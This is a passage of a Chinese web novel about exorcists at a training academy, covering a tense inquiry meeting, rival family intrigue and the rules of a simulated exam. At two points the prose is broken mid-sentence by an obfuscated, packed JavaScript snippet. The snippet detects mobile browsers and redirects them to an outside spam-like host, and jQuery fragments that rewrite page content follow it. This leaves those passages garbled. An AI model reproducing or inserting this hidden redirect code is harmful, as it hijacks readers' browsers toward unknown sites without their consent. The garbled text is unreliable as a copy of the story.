但此时没有口罩挡脸的黑衣人明显有些窘迫,他看了看扶着门框喘息的安格森,又将视线挪向黎子鸣,似乎有些怜惜的摇头,用只有黎子鸣能听见的声音说道: “我们还会再见面的。” …… 纽约市郊的别墅中,菲奥娜的讲述来到尾声。 “安格森在那之后,好像变了一个人。”她手里握着盛满温水的玻璃杯,丝丝暖意在帮助她缓解回忆带来的战栗,“他变得冷漠,麻木,沉默寡言,眼中的血色似乎再没消下去过。” “没过多久,他就去他母亲的故乡了,也就是中国。那之后我们再没见过。” 在今天之前,林欣予从没想过,“冷漠”这种形容词会被用在安格森身上。在她的记忆里,这位老师温和风趣,有时候也会很活泼,更像是菲奥娜对他最开始的描述。 她无法武断经历这些事情会对人造成怎样的影响,更对安格森当下转变的原因不得而知。她突然想到小景,安格森那个很有欧美范的女朋友,也是一个很有活力的人。 但不论如何,过去的事情已经过去了。 林欣予不想对别人的私人感情再做什么猜测,她也没忘了此行的另一个目的。见菲奥娜已经缓和过来,她试探着开口问道:“菲奥娜小姐,你了解安格森的母亲吗?” “他妈妈?”菲奥娜有些疑惑,不知道对方为什么会这样询问,但还是开口回答道:“没有那么熟悉,但也是个很温柔的人。” “你知道她的名字吗?我的意思是,用中国汉字写的名字。” 菲奥娜没学过中文,对这些一知半解,看汉字像鬼画符,也分辨不出来哪些鬼画符是人名:“我不太清楚,不过他母亲有给我家送过一幅中国画,上面也有几个字。” 菲奥娜取来画,画被装裱在一个实木画框中,有半人高,外边套着一层防尘袋,看起来是被用心保存的样子。 掀开防尘罩后,里面赫然是一幅山水画。层层叠叠的山峦在墨色中交织,轻纱般的云雾缭绕山间,山巅之上,几笔淡墨勾勒的亭台楼阁若隐若现,确实是一幅很有功底的山水画。 右上角,流畅的毛笔字写着《题西林壁》这首诗,旁边有个红色的印章落款。 林欣予凑近看了看,印章是用小篆字体刻的,远看看不清楚,半晌的分辨后,林欣予终于认清了印在“只缘身在此山中”旁边的名字—— 鹿芸。 43.追责 六月下旬,物零社准备了大半年的期末综合考试,马上就要开始了。学生们各个要么通宵复习、要么开始玄学求过,但各个老师都多少有些心不在焉。 原因也很简单,之前出的事情太大了,大到物零社现在开始从下到上修改各方面制度,教师也好、领导也好,大多都熬了几个通宵,不是在开会之中,就是在开会的路上。 警方捣毁郊区一处窝藏在烂尾楼中的犯罪窝点,击毙几人,捉拿几人归案,继续追查仍在潜逃的人……这是对外界的说法。实际上,当警察赶到的时候,那边已经没人还留着气了。 黎子鸣和苏佑容在警局坐了半天录口供,早就串通好的两人说出来的东西天衣无缝,警察虽然知道魑魅存在,但毕竟看不见两个学生口中名为魑魅的东西,想查也无从查起,最后在物零社的施压下草草把人放了。 物零社那边自然也出了人配合警方调查,窝点里发现的尸体,除了一具明显死于枪击外,其余的尸体上均有魑魅破坏的痕迹,再根据黎子鸣和苏佑容所言的魑魅袭击口供,事实似乎就是这样。而死于枪击的那具尸体,安格森已经认下来了,当时自己和学生处于对方的威胁下,对面还挟持人质,迫不得已开枪击毙,这点也在被解救的幸存者口中得到印证。 安格森在当天晚上就递交了一份十分详尽的任务报告和枪械使用说明,条理清晰,滴水不漏。再加上他重伤未愈,本就是被推去参与任务,自然也无法追究他的责任。 所以责任自然而然地落到审查任务和分派任务的部门头上。按理来说,这种危险程度的任务本不该分派给学生,是应该在严格调查后联系警方协同解决的。但现在却被几个学生撞上,虽然最后很幸运的没有己方人员伤亡,但谁知道下次会是什么情况。查着查着,问题越来越多,调查的层级也越来越高。到最后,几乎所有高层都需要递交情况说明,并且拿出整改方案。 而这一发展明显引起高层的不满,物零社这么多年来,小打小闹不少,但从没发生过这种大事,高层又不上前线,早就安逸惯了,拿着死工资摸鱼划水,哪里经得住这种轰炸,所以又把目光投向唯三从那个死人窝活着出来的人。 退一万步说,这三人虽然只是两个学生和一个文职教师,但在其他人都死了、只有他们活着出来的情况下,他们仨真就一点问题没有吗? 再看黎子鸣和苏佑容这边,这几天的日子也不算好过。在经历这种事情后,学校马上给两人准备了全套的心理评估和治疗方案,两人在几天里像陀螺一样没停过,要么和心理医生聊天,要么做心理评测题。就连从小到大从题海里游出来的苏佑容都直呼受不住,不得已发动一些不可明说的关系,硬是把自己从心理治疗机构中捞了出来,当然也没忘记带上黎子鸣。 刚从纽约飞回来的林欣予人都懵了,她就离开一周,回来的时候物零社彻底乱了套,罪魁祸首居然还是自己的队友。 快餐厅里,在某富二代不要脸地极力要求下、答应花钱请客吃饭的林欣予,从两人的一言一语中拼凑出来了整件事情的经过。 苏佑容一拍大腿,嘴里的炸鸡还没咽下去,就迫不及待地还要张口接着说:“我告儿你你都不知道……” “行了,别说了。”林欣予一句话把他噎回去,“我知道误入犯罪窝点给你的精神伤害还没有心理治疗大了。” “那个‘心理治疗’真的很变态。”连一向不怎么发表意见的黎子鸣都有点泪眼汪汪的趋势,“幸好你不在,我真怕我要在那所机构里发疯,那根本不是治疗,是拷问!” 林欣予听着,微不可见地皱了皱眉:“你们被人搞了吧,这根本不是正常流程。” 苏佑容不可置否道:“想都不用想,肯定是物零社高层那群老家伙干的,不过比谁背景硬我还从没怕过。” “不过这事还有点蹊跷。”林欣予倒是想到了一些其他方向的细节,她看着黎子鸣,缓缓开口道:“物零社一直把你当宝贝,这次怎么会让你也在心理治疗机构中遭遇那些事?” 旁边的苏佑容抢先一步对这个问题表示抗议:“怎么光问他,我遭遇那些事就是应该的!?” “没人问你!” 林欣予懒得和他说话,见黎子鸣迟迟没开口,她大概也猜到了个中原因。 “那些死亡的人,真的是被魑魅袭击而死吗?” 沉默,意料之中的沉默。不仅是黎子鸣,就连旁边一直话痨的苏佑容也闭上了嘴。 至此,林欣予已经得到正确答案了。她没准备逼人说出来,于是给出一个台阶:“无所谓,这些都不重要,只是你们这段时间估计没什么安生日子了。” 闻言,黎子鸣想了想道:“欸,但是最近还挺好的,没人再来找过我。” “我也是。”苏佑容接道。 “?”林欣予一愣,马上想到另一个人:“那安老师呢?” 此言一出,对面两个男生都僵住了。 对啊,安老师呢,这几天都没见到他啊! “你联系过他吗?”苏佑容朝着黎子鸣问。 黎子鸣坦诚地摇摇头。 “?!”林欣予差点一句脏话飙出来:“合着人家又是把你们带出来又是担责又是写各种报告,结果你们这么多天都不关心一下指导老师吗!” 两个学生都被关进所谓的心理机构拷问,带队的指导老师只可能遭到更过分的对待。况且这么多天过去,谁都不知道物零社在几天内能干出什么事。 她好不容易知道安格森和鹿千可能存在的联系,自然不能让这个线索就这样从自己眼前消失。 看着面前两个不中用的男生,林欣予叹了口气,自己拿起手机拨通安格森的电话,虽然不抱希望,但还是先打电话试试吧。 出乎意料的,电话拨通了,并且两秒后就被人接了起来。 “喂。”对面传来的确实是安格森的声音,比平时要低几分,“什么事?” “呃、没什么事。”林欣予一时没反应过来,仓促说道:“我回国了。” “没事我挂了。”安格森不太开心的声音从对面传来:“在开会,先别给我打电话。” 林欣予来不及应,手机那边的声音就已经戛然而止。 嗯,看起来好像没事的样子…… 对面两个男生瞪着四只眼睛,死死盯着她和她的手机,在经过以上谈话后让林欣予的行为一下子变得有些滑稽起来。 “看什么看,吃饭!” …… 安格森挂掉电话,脸上没什么好颜色。 眼前是一张长方形的实木会议桌,横亘在房间中央,旁边空着的会议席位所剩无几,坐着男男女女穿着正装的人,看上去都有些年龄了。房间是密闭的,没有窗户,会议桌的正上方挂着的巨大水晶吊灯是这间屋子唯一的光线来源,虽然亮度很高,但还是让这间屋子显得有些压抑,和屋内还算华丽的其他装饰格格不入。 长桌的里端席位还空着,那里毋庸置疑是夏峰的位置,他此时还没来,其他人则都坐在靠里端的位置。而安格森则坐在靠门的外端,周围一个人都没有,已经入席的那些人有的在翻手里的资料,有的则盯着安格森审视,然后和旁边的人指指点点。 这种让人不舒服的行为安格森已经不想管了,不到一周的时间,类似的会议他参加了大大小小十几次,每次见的人都各有不同,他这才知道物零社居然有这么多“领导”,派系也远比他想象的复杂。 但不管是什么派系的人,对安格森都抱着来者不善的意味。目的很明显,想要给他定罪,甚至想要把他们组的学生也定罪,让这次的事件有个明确的担责人。 他的耐心早就被消耗殆尽了,再加上前不久得知两个学生被关进了心理治疗机构,被消耗的耐心于是逐渐转为了怒火,只需要一个火星子就可以爆发。 五分钟后,夏峰带着几个眼熟的老师姗姗来迟,落座首席,不知道第几次会议正式开始。 首席右边的秘书清了清嗓子,开始念开场白:“欢迎各位莅临本次会议,本次会议是关于613案件的说明,大家可以先看下手里的资料……” “别看了。” 不料,开场白没说几个字就被打断。安格森翘着二郎腿坐在席位上,“不耐烦”三个字就差用笔写在脸上:“在坐的每个人我都认识了,都不是第一次开会讨论这件事,就别用这些虚头巴脑的浪费时间。” 先前的每次会议,安格森虽然没什么好脸色,但行动上都是极度配合。没想到这次一改常态,反而让在场的其他人愣住。 看着有些不知所措的秘书,安格森也不想太为难听命令的打工人,于是直接将会议的主导权揽到自己手上: “在坐的各位都清楚自己是什么身份,也清楚我是什么身份,相信我们彼此都不是什么‘闲人’。” 他故意在“闲人”两个字上咬了两个重音,讽刺的意味不言而喻。 “关于这个案件,我已经第一时间递交了所有材料,警方也并未对这些材料产生任何异议。你们现在不反省物零社自身的制度漏洞,反倒不断调查这件事,无非是想推翻我之前递交的材料,把责任推给我。” 他缓缓站了起来,一巴掌拍在桌面,桌上的水都震了震。 “想追责,那就把证据拿出来,而不是骚扰我和我的学生!” 人,到底会有些欺软怕硬,之前咄咄逼人的许多人见他今天这么强势,反而闭着嘴没有说话。 但当然,也有些人不吃他这套。 方明冷哼了一声,这个之前就处处针对林欣予的老师明显对安格森也没什么好脸色:“案件的真相到底如何,你自己清楚,在这装什么装?物零社有你这样的老师真是害了学生。” “哦?”安格森也没打算给这人好脸:“方老师也好意思说别人装啊,收着欧阳家的钱,一边伺候人家小姑娘,一边排挤其他学生,还在这装良师益友,得你教教我怎么装啊。” “你!”方明被这话激的吹胡子瞪眼,刚想说话反驳,却不想安格森下一句话又扇了他一巴掌: “我可是有证据的,方老师要是不服,我在这给大家看看怎么样?” 席位上响起窃窃私语的说话声,其实在总部的高层多少都知道方明的德行,睁一只眼闭一只眼罢了。但有人公开捅出来这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17273739|195718||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 件事,大家的面子总归挂不住。 所以夏峰不得已出来打圆场:“别吵,别吵。开会就说会议的事嘛,咱们不浪费时间。”他朝方明使眼色:“这次会议是你提出来的,不是找到了新证据吗,直接说吧。” 夏峰既然给了台阶,方明自然也顺势往下走,使唤秘书调出电子文件,打到大屏幕上,数张照片尽数显示出来,均是赤裸裸的尸体照片。 “先前,安格森提交的报告也好,我们自己的检验报告也好,伤口形状确实是魑魅所造成的,我们也自然把这些伤印证为致命伤。” “但是,”他话锋一转,调出一页新的资料:“我们之后又请了专业人员检验尸体,发现了一些不一样的痕迹。” “魑魅攻击留下的伤口,比起致死伤,但更像是在利器致死的尸体上,沿着利器伤痕进行的二次破坏。” 此话一出,场下瞬间一片哗然。致死伤如果真的如方明所说,那这件事情的性质一下子就不一样了。 然而安格森只是轻笑了一下:“呵,方老师是没有仔细看报告吗?在魑魅出现前,那些人率先袭击了我和我的学生,我们迫于无奈出手,发生了一些打斗,所以他们身上先有利器上伤口,再有魑魅伤口,正常不过的事情。” 方明没被他这句话糊弄过去,接着逼问道:“一个两个是这样,那倒也正常,但所有尸体都是这个情况,是不是有点过于‘巧合’了?” “确实巧合。”不料安格森居然顺着他的话说:“我们总不能一边保命,一边观察相杀我们的匪徒是怎么被想杀我们的魑魅杀的。” 这话属实有点绕口,但核心意思也很明显,他们没被匪徒杀掉、也没被魑魅杀掉,已经很不容易了,谁顾得上那俩是怎么相互杀的。 “强词夺理!”方明也是说话越说越激动:“承认是黎子鸣杀的人的很难吗?物零社也不会让你们去承担刑事责任,我们只是需要内部定责!” 目的太明显了。安格森的脸色又阴沉了几分,想要把罪责定给黎子鸣无非是为了把他绑死在物零社,握住这个天才的把柄让他能给物零社卖一辈子的命,真是打一手好算盘。 但安格森岂会让他们达成目的,他挑了挑眉,将信将疑地问道:“承认了,也不会让我们承担刑事责任?” 看他像是要松口,许多人脸上露出愉悦的表情:“当然!” “哈哈哈……”安格森笑了,他又一屁股坐回椅子上,重新翘起二郎腿,脸上全是不屑:“那我认,那二十多人都是我杀的。” “那个中枪死的是我开枪杀的,那个变成肉沫的是我剁的,剩下的都是我拿刀砍的。” 他一字一句说着,宛若毒蛇吐信。 “不信的话,要不要我现在把你也杀了?” “咚咚咚!” 夏峰飞快敲敲会议桌的桌面,警告安格森别再继续说:“差不多得了,别什么话都说。” 这位校长大人也是,从始至终没发表什么建设性意见,在这凑凑那凑凑,也不拍板决定这事到底怎么处理,一直搅混水。倒是个聪明的做法,他私心也想把责任推开后还能拴住黎子鸣,一石二鸟,但在这个位置上又哪边都不想得罪,所以就一直模棱两可,明面上谁也不占,暗地里不知道帮助查了多少东西。 但安格森显然不打算继续看他装傻,他的直接朝着夏峰开腔:“夏峰,你这个校长到底能不能管事,这么简单的事情磨蹭这么久!” “不能管事叫殷木秀出来管!” 这个名字一出来,在场的其他人突然炸了—— “他怎么直接叫老先生名字?” “太冒犯了。” “我怎么听说他是老先生点名招进物零社的……?” “别说了,听社长怎么说。” 窸窸窣窣的声音又渐渐安静下来,夏峰也一直沉着脸没说话,空气静得一根针掉在地毯都能听见。 半晌后,还是安格森打破僵局: “大家都是和魑魅接触多年的专家,我就说一点,从古至今魑魅都只会对活着的人类表现出强烈攻击性,尸体对于他们来说就像柜子桌子一样,至少我从未见识过魑魅对着尸体穷追猛打的案例,相信你们也没有。” “方明拿的这个所谓证据,从根本上就不成立。” 走到门口,安格森又回头留下一句话:“而且物零社,你们现在是不是搞错了什么重点?下个月就要开万方会谈了,麇也复苏了,那个自称鹿千的人都跟我和黎子鸣打照面了,这么大的威胁你们不管?态度这么暧昧,不会和那妖怪有一腿吧?” 会议室里瞬间安静了一刹那,大家面面相觑,竟然没一个人吭声。直到方明拍案而起:“你污蔑谁呢!?我看你和妖怪才是一伙的!” 安格森懒得再和这货吵架,他略显疲惫地站起身,抬步就往会议室外走,门口站着的两人还想拦他,被他一句“让开”给吼走了。 看着安格森摔门离开,场内又响起七嘴八舌的议论声,直到夏峰发话喊停大家, “这件事就到这吧,不查了,”他揉揉眉心,闭着眼睛,“接下来的时间,各部门全力准备期末测试。” 44.“宝藏” 东北,武城。 武城是东北地区的一个城市,常住三百多万人,没有省会的经济发达,但也算不上落后,处在整个东北地区的中间水平,简而言之就是平平无奇,说出去不是东北人都不一定知道这个城市的水平。 但这个城市在除魅师届却是无人不知无人不晓,只因为苏家坐落在这里。 国内除魅师现在能称得上家族的,也无非三四个,能称上大家族的或许只有东北的苏家和东南的欧阳家。早些年没建国时,各个除魅师家族还算百花齐放,但建国后随着各项改革政策的颁发,经济体制和社会体制都产生了大幅变动,更别提对宗族势力的严厉打击,更是让诸多除魅师家族彻底没落了。 但苏家不一样,苏家从千年以前就稳坐大家族的位置,即便是最衰落的时候,也不过是从第一变成第四罢了。 当年体制改革,苏家可谓是一点时代的潮流没落下。土改的时候主动把土地交给国家,自家有文化的人争相去当老师当医生拿编制,文化稍欠的就努力种田养猪,一时间仿佛根本没有魑魅这种牛鬼蛇神的玩意,自家也从不宣扬封建迷信,只是城里的人都知道,遇见诡异的事还是得找苏家解决。 后来改革开放,苏家又乘上了第一班出海的船,家族重新把商业捡了起来,顺着时代的东风,不过十几年时间就建立了国内首屈一指的出海大企业。当然,祖宗的本不能忘,家族的后代中有灵力的,都会接受最基础的除魅师培训,当然更多只是为了在遇到魑魅时能自保。就像苏佑容,苏家把他送去物零社,也不是为了他多能打架,更多是拓展人脉、向物零社这个官方组织示好、顺便蹭着进学校排名顶尖的金融学科。 苏佑容常说自己的未来一眼看得到头,无非是继承亿万家业,然后再传宗接代把家业给下一代孩子。 也不知道面对这种富二代该不该扇他两下。 如今物零社本次期末考将近,一些消息传进除魅师家族耳朵里,倒是新鲜的很。 “全息模拟技术……”一个中年男人坐在红木制成的办公桌前,一字一句地阅览着手上的资料。 他看上去快50的年纪,脸上有些不可避免的沟壑,却丝毫不显老态,反而是很有成功中年男性的稳重气质,属于放娱乐圈里会被奉为叔系帅哥的长相。 苏德胜,苏家的现任家主,也是苏氏集团的现任董事长,正是苏佑容的亲生父亲。 虽说作为父亲,关心儿子的期末考试无可厚非,但他这次更关心的,明显是物零社这次的考试形式。 物零社在研发全息模拟技术,他是知道的,并且也投入了一部分资金支持,以换取技术研发成功后的优先使用权。只不过他没想到这个技术这么快就投入实用,如果没记错的话,两年前他看到项目企划书,给了投资;三个月前他收到初版技术的测试报告,还有诸多需要完善的地方。而短短三个月后,这项技术就趋于完善,甚至足以支持数十人同时链接,为学生提供一个期末考试的模拟场地。 “看来物零社最近招揽到了一些人才啊。”他这么想着,接着往下看。 后续的内容是期末考试的具体计分规则,苏德胜对这些倒是没啥兴趣,他更好奇的是这次测试的地图。 据说,地图是民国时期物零社初成立时的所在地,坊间一直有传言,物零社的旧址埋着一个巨大的宝藏,但没有任何人能找到它,就连物零社自己也不行。 苏德胜本来一直不把这种虚无缥缈的传言当回事,直到后续和物零社的合作逐渐深入,在和物零社的高层交流中,旁敲侧击地得知,这事八成是真的。 据说存储地图的硬盘之前被多人试图盗取,又让这件事的可信度变得更高了几分。 正当苏德胜这样想着时,办公室的门被推开了。来者也是个中年男人,不过看上去比他小不少,可能只有四十岁左右,两人看上去有七八分的相似。 “哥大哥,你叫我来什么事?”来者名为苏德源,是苏德胜的亲弟弟,也是苏家的二把手。 “这个给你。”苏德胜拿起手边的一个硬盘:“物零社把他们的新技术文件拷了一份,一起寄了过来,你找信得过的技术人员去解读一下。” 两兄弟的分工也明显,苏德胜掌管苏家对外正常企业,苏德源负责大部分除魅师生意,这么多年来苏家也是靠着两人的相辅相成,才能发展得如此迅速。 “好。”苏德源也不是个废话多的人,他拿走硬盘,好像想起什么,补充道:“对了,欧阳家的人之前说,想要今晚和你进行一次视频通话,你看什么时候有时间。” “欧阳家?”苏德胜颇为疑惑地皱了下眉,旋即想到了对方的来意,他把弟弟打发走,自己给欧阳家管事的人发了条消息,约定晚上的时间。 他在微信的消息框里输入:“欧阳家主是想聊聊关于……”他的字还没打完,就被对方抢先发了过来。 对面是欧阳家的家主,头像是一步一景的苏州园林,十分符合大众对于这个年龄的男人的刻板印象。聊天气泡里赫然也是苏德胜想问的问题:“苏兄,我想和你聊聊,孩子们的婚事。” …… 晚上23点,教学楼持续亮了三天的灯,终于灭了。 期末考的前一天晚上,各个部门(主要是技术部门)联合赶工,愣是在三天里赶上了之前被拖延了快半个月的进度,顺利避免了考试推迟。 不过坏消息是,此时还不能完全放下心来,明天开始为期三天的期末考试仍旧需要各部门时刻保持待命;但也有点好消息,至少今晚上回去能好好睡个觉。 工作人员陆陆续续地从教学楼走出,都看见了门口不远处站着一个女生,女生留着白色波浪长发,穿着白色运动服和运动裤,像是正好夜跑到门口休息,手里却还领着份外卖。 她时而看向从教学楼出来的人流,时而看看自己的手机,明显是在等人,但她等的人一直都没出来。 直到有人招呼她,林睿雅刚从门口出来,就看见了女生,朝她招了招手:“小景。” 听到有人叫她,小景顺着声音朝林睿雅看去,也朝她招招手:“你也加班到这么晚啊。” “这几天都这样。”林睿雅朝她走过去,有些无奈道:“大家都忙疯了,就那群学生轻松。”她又问道:“你在这等安格森吗?” “对,”小景点点头,“他在学校睡了几天都没回家,今天说可以下班了,我就来接他。” “真好啊,有你这样的女朋友。”林睿雅说:“是他的福气。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17286592|195718||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “哎呀,也没有啦。”小景语气中好像有些羞涩,但表情倒是毫无起伏,礼貌地笑着。 两人在这聊天,还有一个生面孔,倒是吸引了其他一些八卦人士,凑近听了两句,多数听出来这位打扮潮流的女生居然是安格森的女朋友。 所以场面一下子热闹了几分,每个办公室都有几个又擅长社交又八卦的全能人,此时已经凑上来和小景套近乎,话语间都是“安格森居然有女朋友?”“我还以为他那种典型理工直男是母胎单身呢。”等等等等…… 所以在安格森揉着太阳穴走出教学楼的时候,小景正被一堆眼熟的同事围在中间,之前一直波澜无惊的面容也难免多了几分汗颜。 “那什么,不好意思。”他硬挤进人群里,把小景护在自己身后,“太晚了,我们要回家了。” 然后拉着人在更热闹的议论中落荒而逃…… 直到离开一段距离,周围没什么人了之后,安格森才放慢脚步,把小景手上拎着的外卖直接接了过来:“你怎么来了?” 小景饶有兴趣地看着他有些嗔怪的模样:“怎么?我来接我男朋友下班,不行吗?”她故意在“男朋友”三个字上咬重了一些。 “不是不行……”安格森有些无奈地道:“这里人这么多,你不累吗?” “当锻炼咯。”小景指指自己身上的运动服,“总得运动锻炼啊,不然人要废掉了。” “行,说不过你。”安格森看了眼手上的外卖,已经有些凉了,“我们出去吃吧,学校门口最近开了家大排档,听学生们说味道还不错。” 小景略带担心地说:“你不早点回去休息吗?这三天都没怎么睡吧。” “不过是三天不睡,以前忙的时候不必这睡的少。”安格森说,“作息调整过来就没那么需要睡眠了。” 闻言,小景也没再说什么,跟着他的步伐一起去了饭店吃饭。 “工作上的事呢?”小景说:“进度怎么样?” 安格森一听到这事就头疼,他捂着额头一脸难受:“别提了,我觉得我就不该上班。” “等这事整完我一定要辞职。” 说是这么说,但大家都知道,一般往往满口说自己要辞职的人干得最久。 “不过,到还有些有意思的事情。”安格森话锋一转,接着说道:“这几天他们一直在完善地图,虽然用了扫描技术扫描现在的现实地图,但虚拟地图居然和物零社的初址几乎别无二致。” 他顿了一下,接着道:“他们也挺厉害,已经过去八十多年,换我早就记不住了。” 小景的脸色倒是沉了沉:“看来学生们这次期末考试会很有趣啊。” “毋庸置疑。”安格森喝了两口水,说道:“根据我知道的一些内幕,物零社传说有一处藏于江祁山的‘宝藏’,这次就是打着考试的旗号让学生在地图里找,如果能被他们找到,物零社再顺着学生的动线回现实里找。” “倒是挺有自信的。”小景做出了一个恰当的评价,“传说中的东西,他们就这么确定能找着?” “我倒是不讨厌他们的自信,”安格森耸耸肩,“更重要的是,这次的学生们一定会很有趣。” “传说中的宝藏,说不定真的能被他们找到。” 45.考试规则 清晨8点,物零社本届共19名学生,将一同参加本年的期末考试。 根据规则,本次测试将分为四组进行,原则上来说可以沿用期中评测的分组,但碍于物零社的技术设备水平,只能提供四个连接终端,所以之前的分组中必然有一组要被拆散,分散到其他组里。 最好的选择,无疑是拆散黎子鸣他们组。只有他们一个组是三个人,再加上这三人的排名均靠前,凑到一起实力过强,对其他组也不太公平。考试开始前,教委会持着同样的想法,斟酌着该如何分配这三人,却没想到被另一组怒气冲冲的学生堵在了办公室里。 身为指导教师之一的夏玉薇带着一个怒气未消的女生,略显尴尬地站在三人组面前:“让她进你们组吧。” 女生和他们是一届的学生,岁数自然一样,但长得很显小,像是个高中生。此时穿着印着名牌logo的衣服,花着精致的妆,头发烫了细细的羊毛卷,好似一个洋娃娃。 她名为欧阳奕萱,是欧阳家的大小姐。 同学一场,几人之间肯定认识,只是没多熟罢了。从身上的穿着就能看出来,几个人不算在一条道上,虽说苏佑容也是个名副其实的富二代,但他平时的穿着不显山不漏水,能把名牌穿得跟地摊货一样,和这种精致名媛风显然走不到一起。 林欣予天生对大家族的人没什么好感,面对突如其来的欧阳奕萱,没有排斥,但也实在给不出来什么好脸色。 苏佑容则还算熟悉这位大小姐,入学前的各种宴会上他们就见过很多次,但也仅限于名流圈子里的点头之交。成为同学后,两人的关系也没有因为相似的家世走得更近一些,主要是苏佑容看不太惯这大小姐有事没事靠砸钱解决的风格,自然也不会靠近。 至于,黎子鸣…… “欢迎欢迎!”他是唯一一个笑着迎上去的,“这个事情太突然了,不过别担心,我们组的人都很好的……”他话没说完,被背后的森森寒意逼了回去,一转头,林欣予和苏佑容皆是一脸的无语。 “可能也没那么好。”黎子鸣心里想着,把这话咽了回去。 夏玉薇看着面前几个貌合神离的学生,暗自叹了口气,感觉欧阳奕萱这孩子在这里估计也不能太融入。 这件事说简单也简单,先前期中评测时,欧阳奕萱砸钱进了一个实力还不错的队伍。 对,没错,砸钱。 大小姐拿着钱,分给队伍里的每个人,然后说着期中评测结束后再给你们多少报酬,就这样进了一个四人小队。 队长家里比较困难,拿着钱把人接进来了,其他组员也没什么异议,毕竟大学生多少囊中羞涩,没人会和钱过不去——除了一个有志气的男生。 类似小说里的“别拿钱羞辱我”,这个有志气的男生大喊着诸如此类的话,和欧阳奕萱吵架,和队长吵架,一直吵到教委会……然后把整个组吵没了。 其他组员都被分去其他组,唯独欧阳奕萱这个大小姐不好分配,自然而然的,教委会瞄准了苏佑容这个大少爷所在的组。先前学生因为贫富差距产生矛盾,现在大家都富了,矛盾是不是也自然能少一点。 就这样,欧阳奕萱被硬插进来,几个人一下子都很尴尬。 而他们甚至没有磨合新队伍的时间,因为一个小时后,期末考就正式开始了。 好在,欧阳奕萱看着还算好相处,即使隐隐约约有被排斥,似乎也没放到心上,很大方地和每个人打招呼:“自我介绍就免啦,大家叫我奕萱就行。都当同学两年了,这次分组也算是缘分,等结束后我给大家点报酬好啦。” 一时间没人应她,苏佑容上下扫视欧阳奕萱,忍了半天还是忍不住发问: “你这身衣服,认真的?” 不提欧阳奕萱精致的发型和妆容,她身上穿着小香风的外套和短裙,踩着个小高跟。对比之下其他三人像是三个糙汉,都是很简单的运动服,主打一个怎么舒服怎么来。 欧阳奕萱对苏佑容这个发问有些不解:“进入模拟系统后,大家不都是统一服装吗?我现实里穿什么都不要紧吧。” “话是这么说,但考试要考三天,不穿舒服点出来会腰酸背痛的……”黎子鸣测试过很多次系统,对内外感知最明确,自然知道穿舒服点比什么都重要。 或许是因为同为女生,几句交谈后林欣予对她的敌意其实少了一些,自然也出口关心两句:“现在时间还来得及,我宿舍离这边近,你不介意的话可以去我那换套衣服。” “诶……”欧阳奕萱踌躇着开口:“算了吧……学生宿舍好拥挤,不是很想去。” “?” 一时间,其他三人都陷入沉默。 或许大家现在都知道这位大小姐和上一个组是怎么产生矛盾的了。 “行吧。”林欣予有些无语的应了一声,顿感自己这次期末考估计不会一帆风顺了。转头看苏佑容的脸色,和她是一样的无语。也就只有黎子鸣这样的粗神经不觉得有什么。 交谈间,大厅里突然嘈杂起来,音响调试的声音响起,没多久,一个熟悉的声音从音响里传来。 “各位考生早上好,接下来宣读本次考试的规则。” 是林睿雅的声音。另一边的房间里,各种屏幕闪烁,这里是模拟系统后台,维护整个系统运行最关键的地方。物零社的大部分师资力量都集中在这,其中不乏熟悉的面孔。本次考试有将近20名学生一起进入系统,这种规模的系统运行人数是第一次,他们要确保不会出任何岔子。 不过学生们不清楚这些,大家的注意力此时都专注于音响的声音和幕布上的规则投影。 “本次考试采取积分制,各位将进入一个完整的虚拟地图中,通过完成标记任务取得分数。” “每队持有一把记号枪,初始含十发记号弹。各小队需寻找地图范围内的魑魅和诞生点,发现诞生点进行标记得20分,发现魑魅进行标记得5分,标记并击杀得7,如未标记仅击杀,得2分。记号枪子弹初始十发,其余有很多资源分布在地图各处,请各队根据自身需求进行收集。” 最重要的计分规则被放在最开始说,刚说完,各个小组间就开始窃窃私语起来,这条规则里暗含的信息实在不少。 “规则不鼓励和魑魅正面对抗。”苏佑容第一时间说道。这是很明显的事情,击杀的得分远低于标记,物零社并不希望学生过多与魑魅产生正面冲突。 这最正常不过,毕竟三分之二的学生没有处理魑魅的能力,相对而言,探查能力更为重要。 然而,对于他们小组来说,这几乎是个噩耗。 “击杀得分也太低了。”林欣予看了一眼黎子鸣,这个计分差距几乎封了他们的杀手锏。 苏佑容倒有点别的看法:“我们要调整一下战术,虽然击杀分低,但可以以量取胜。” “几位,打扰一下。”欧阳奕萱插了句话:“我能问下你们之前的战术是什么吗?” “唔……这个要说,有点复杂。”苏佑容有些为难:“等开始了会详细告诉你的。” 此时,旁边的黎子鸣弱弱地举起了手:“我也想打扰一下。” 林欣予把他的手拉了下去:“你别打扰,有事直接说。” “我们是不是得等一下关于附魔器的规则,我怕……” 他话没说完,广播像听到了他的话一样,直接开始说附魔器规则—— “每人可初始携带一件品质中等的附魔器,各位可选用自己擅长使用的附魔器类型。” 黎子鸣的担忧并没有错,这种会维护基本公平的考试,不可能对他搞特殊,给他提供日常任务所需的附魔器数量。 这就有些难办了,如果没有基础附魔器,那就只能现场制作,而他们还不清楚地图里的资源情况。 不理会他们的想法,广播里的规则还在有条不紊地宣读: “此外,地图分为安全区和危险区。危险区会产生大量魑魅,并且标记和击杀均不得分,仅安全区内的魑魅为得分项,请各小队注意自己的活动范围。” “每隔12h,安全区范围会缩小,各位可提前在局内地图进行查看和转移。” 